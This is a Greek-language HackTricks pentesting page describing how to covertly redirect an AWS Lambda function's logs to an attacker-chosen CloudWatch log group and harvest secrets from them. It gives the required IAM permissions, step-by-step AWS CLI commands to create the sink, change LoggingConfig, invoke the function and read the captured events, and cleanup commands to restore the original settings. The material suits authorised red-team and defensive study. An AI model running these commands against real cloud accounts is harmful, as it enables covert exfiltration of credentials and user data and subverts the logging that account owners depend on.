AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Εκμεταλλευτείτε το lambda:UpdateFunctionConfiguration για να χρησιμοποιήσετε τις προηγμένες ρυθμίσεις logging και να ανακατευθύνετε τα logs μιας function σε ένα CloudWatch Logs log group που έχει επιλέξει ο επιτιθέμενος. Αυτό λειτουργεί χωρίς να αλλάξει ο code ή ο execution role (οι περισσότερες Lambda roles περιλαμβάνουν ήδη logs:CreateLogGroup/CreateLogStream/PutLogEvents μέσω του AWSLambdaBasicExecutionRole). Αν η function εκτυπώνει secrets/request bodies ή καταρρέει με stack traces, μπορείτε να τα συλλέξετε από το νέο log group.

Απαιτούμενα δικαιώματα

  • lambda:UpdateFunctionConfiguration
  • lambda:GetFunctionConfiguration
  • lambda:InvokeFunction (ή βασιστείτε σε υπάρχοντες triggers)
  • logs:CreateLogGroup (συχνά δεν απαιτείται αν ο ρόλος της function το έχει)
  • logs:FilterLogEvents (για ανάγνωση events)

Βήματα

  1. Δημιουργήστε ένα sink log group
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
  1. Ανακατεύθυνση των logs της στοχευόμενης function
aws lambda update-function-configuration \
--function-name <TARGET_FN> \
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
--region us-east-1

Περιμένετε μέχρι το LastUpdateStatus να γίνει Successful:

aws lambda get-function-configuration --function-name <TARGET_FN> \
--query LastUpdateStatus --output text
  1. Εκτέλεση και ανάγνωση από το sink
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
sleep 5
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text

Επιπτώσεις

  • Κρυφά ανακατευθύνετε όλα τα αρχεία καταγραφής εφαρμογών/συστήματος σε ένα log group που ελέγχετε, παρακάμπτοντας την προσδοκία ότι τα logs καταλήγουν μόνο στο /aws/lambda/<fn>.
  • Εξάγετε ευαίσθητα δεδομένα που εκτυπώνονται από τη συνάρτηση ή εμφανίζονται σε σφάλματα.

Καθαρισμός

aws lambda update-function-configuration --function-name <TARGET_FN> \
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
--region us-east-1 || true

Notes

  • Οι ρυθμίσεις καταγραφής είναι μέρος του LoggingConfig του Lambda (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel).
  • Από προεπιλογή, το Lambda στέλνει logs στο /aws/lambda/<function>, αλλά μπορείτε να δείξετε σε οποιοδήποτε log group name; το Lambda (ή ο ρόλος εκτέλεσης) θα το δημιουργήσει εάν επιτρέπεται.

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks